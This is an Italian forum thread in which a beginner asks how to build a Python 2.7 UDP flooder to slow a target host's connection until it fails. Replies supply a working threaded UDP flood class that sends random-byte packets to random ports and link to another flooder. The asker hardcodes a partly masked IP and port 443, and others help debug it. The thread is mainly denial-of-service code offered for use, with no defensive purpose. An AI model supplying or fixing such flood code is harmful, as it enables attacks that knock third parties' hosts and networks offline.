Domanda Come creare un UDP FLOODER in python?

Stato
Discussione chiusa ad ulteriori risposte.

Xcroz01

Utente Silver
9 Dicembre 2015
217
16
17
79
Ciao a tutti, come posso creare un UDP FLOOD in python 2.7? Come funziona? Sono un principiante un bel po' chiaritemi per favore :D, ho cercato da per tutto ma non riesco, mi potete aiutare?


Con udp flooder intendo un programma che invii pacchetti UDP a un host in rete con relativo ip, in modo il seguente host si rallenterà la connessione fino a non funzionare :p
 
Ecco il codice esatto - esattamente quello che devi fare:
STUDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!!!!!!!!!!
 
  • Mi piace
Reazioni: venticello
Utilissimo guarda, ti ricordo che un FORUM è un luogo dove gli utenti collaborano e parlano di un argomento, dove dovrei studiarlo? dammi un buon link dove imparare python in modo avanzato ;=)
 
Utilissimo guarda, ti ricordo che un FORUM è un luogo dove gli utenti collaborano e parlano di un argomento, dove dovrei studiarlo? dammi un buon link dove imparare python in modo avanzato ;=)
Già, un luogo in cui tu non dovresti chiedere di far fare lavori agli altri al posto tuo, nè tanto meno pretenderli.
Qualcuno ti avrebbe aiutato solo se avessi già iniziato qualcosa. Vuoi sapere dove imparare Python?
google.it
Adesso cerca, cerca e CERCA!!!!
 
  • Mi piace
Reazioni: Hannibal™
Eh già, troppo faticoso scrivere 4 righe di codice? vero?, e comunque non trovo qualcosa di decente che parta dal semplice all'avanzato, in italiano.
 
Eh già, troppo faticoso scrivere 4 righe di codice? vero?, e comunque non trovo qualcosa di decente che parta dal semplice all'avanzato, in italiano.
Innanzitutto se non lo reputi faticoso, come mai non hai iniziato? È facile scrivere un udp flooder fasullo e non efficace con 4 righe, è un po' più complesso (ma nemmeno) scrivere un udp flooder efficace con 4+ righe.
L'inglese ti serve nella vita! Non hai scampo, imparalo, capra!!!
 
Il problema è che io sto studiando python ma so solo usare le variabili, gli input, creare un file di testo con python etc... dovrei migliorare.
 
Codice:
#UDP FLOOD
class udpFlood(threading.Thread):
    def __init__(self, ip, port, size, packets):
        self.ip      = ip
        self.port    = port
        self.size    = size
        self.packets = packets
        self.udp     = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                bytes = random._urandom(self.size)
                if self.port == 0:
                    self.port = random.randrange(1, 65535)
                self.udp.sendto(bytes,(self.ip, self.port))
            except:
                pass
Questa è la parte che serve a te
 
https://gist.github.com/lf2186/89658d57b7a59707c16d

Questo mi sembra buono, studiatelo un attimo, estrapola la parte di codice che serve a te e scrivine uno simile, è il miglior modo per imparare :)
Il codice è ok ma si può ancora ottimizzare.
Ma cristo, l'inglese è un intera lingua, sai quanto ci vuole a impararlo?
So quanto tempo ci vuole perchè a differenza tua già lo conosco. Se fossi stato un inglese avresti detto la stessa cosa con l'italiano, ma soprattutto è più facile l'inglese che l'italiano.
C'è un motivo se è stata scelta l'inglese come lingua internazionale: è tra le più facili di tutte
 
Il codice è ok ma si può ancora ottimizzare.

So quanto tempo ci vuole perchè a differenza tua già lo conosco. Se fossi stato un inglese avresti detto la stessa cosa con l'italiano, ma soprattutto è più facile l'inglese che l'italiano.
C'è un motivo se è stata scelta l'inglese come lingua internazionale: è tra le più facili di tutte
In realtà quel codice non l'ho scritto io, l'ho trovato online e mi sembrava buono...
 
Comunque ti consiglio di fare esercizi gradualmente, non puoi iniziare a studiare un linguaggio creando uno script complesso...
 
Scusate per il disturbo :D

Grazie per il codice.
Ho python 2.7.

Mi restituisce questo errore;

"
Traceback (most recent call last):
File "C:/Users/Maste/Desktop/ii.py", line 2, in <module>
class udpFlood(threading.Thread):
NameError: name 'threading' is not defined"

Dato che non sono un espertissimo in python (ancora manco ho capito i moduli) perché mi da questo errore? non riesco a far funzionare il flooder.


Credo sia un errore del modulo, lo devo scaricare? cosa devo fare?
 
#UDP FLOOD

import random
import socket
import sys
import threading


class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = 80.116.51.XX
self.port = 443
self.size = 50
self.packets = 50
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass


Adesso mi dice che la sintassi è errata evidenziando il 51.


Abbi pazienza, sto ancora imparando.
 
#UDP FLOOD

import random
import socket
import sys
import threading


class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = 80.116.51.XX
self.port = 443
self.size = 50
self.packets = 50
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass


Adesso mi dice che la sintassi è errata evidenziando il 51.


Abbi pazienza, sto ancora imparando.
Potresti scrivere la riga di codice alla linea 51?
 
#UDP FLOOD

import random
import socket
import sys
import threading


class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = 80.116.51.XX
self.port = 443
self.size = 50
self.packets = 50
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass


Adesso mi dice che la sintassi è errata evidenziando il 51.


Abbi pazienza, sto ancora imparando.
Il codice comunque è per python 3, è ovvio che presenta errori di sintassi se provi a eseguirlo con il compilatore di Python 2.7
 
Stato
Discussione chiusa ad ulteriori risposte.